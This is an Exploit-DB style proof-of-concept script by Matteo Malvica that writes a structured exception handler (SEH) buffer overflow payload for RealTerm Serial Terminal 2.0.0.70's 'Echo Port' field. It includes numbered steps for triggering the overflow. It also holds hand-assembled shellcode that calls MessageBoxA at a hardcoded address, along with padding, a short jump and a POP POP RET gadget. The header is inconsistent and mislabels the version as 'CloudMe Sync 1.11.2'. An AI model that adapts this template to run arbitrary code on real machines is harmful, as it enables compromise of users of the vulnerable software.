RealTerm Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow (SEH)

# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Buffer Overflow - (SEH) 
# Date: 21.02.2019
# Exploit Author: Matteo Malvica
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/ 
# Version: 2.0.0.70
# Category: Local
# Contact: https://twitter.com/matteomalvica
# Version: CloudMe Sync 1.11.2
# Tested on: Windows 7 SP1 x64
# Originail PoC https://www.exploit-db.com/exploits/46391

# 1.- Run the python script  it will create a new file "carbonara.txt"
# 2.- Copy the content of the new file 'carbonara.txt' to clipboard
# 3.- Open realterm.exe 
# 4.- Go to 'Echo Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> Change
# 7.- Check 'Echo On' or 
# 8.- Box!


import socket
import struct

'''
badchars: 0x20,0x0a
arwin.exe user32.dll MessageBoxA
arwin - win32 address resolution program - by steve hanna - v.01
MessageBoxA is located at 0x747cfdae in user32.dll
'''
shellcode = (
"\x33\xc0"                          # XOR EAX,EAX
"\x50"                              # PUSH EAX      => padding for lpCaption
"\x68\x7a\x6f\x21\x21"              # PUSH "zo!!"
"\x68\x61\x76\x61\x6e"              # PUSH "avan"
"\x8B\xCC"                          # MOV ECX,ESP   => PTR to lpCaption
"\x50"                              # PUSH EAX      => padding for lpText
"\x68\x6e\x7a\x6f\x21"              # PUSH "nzo!"
"\x68\x61\x76\x61\x21"              # PUSH "ava!"
"\x8B\xD4"                          # MOV EDX,ESP   => PTR to lpText
"\x50"                              # PUSH EAX - uType=0x0
"\x51"                              # PUSH ECX - lpCaption
"\x52"                              # PUSH EDX - lpText
"\x50"                              # PUSH EAX - hWnd=0x0
"\xBE\xae\xfd\x7c\x74"              # MOV ESI,USER32.MessageBoxA <<< hardcoded address
"\xFF\xD6")                         # CALL ESI

pad1="\x90"*(142-len(shellcode))
pad2 = "\x42" * 118
nseh = "\xEB\x80\x90\x90"
jmp_back = "\xEB\x80\x90\x90"
short_jmp = "\xEB\x12\x90\x90"
seh =  struct.pack('<L',0x00406e27)  # 00406e27# POP POP RET
nops = "\x90\x90\x90\x90"
payload = pad1  + shellcode + nops + jmp_back + pad2 + nseh + seh 


try:
        f=open("carbonara.txt","w")
        print "[+] Creating %s bytes pasta payload.." %len(payload)
        f.write(payload)
        f.close()
        print "[+] Carbonara created!"

except:
        print "Carbonara cannot be created"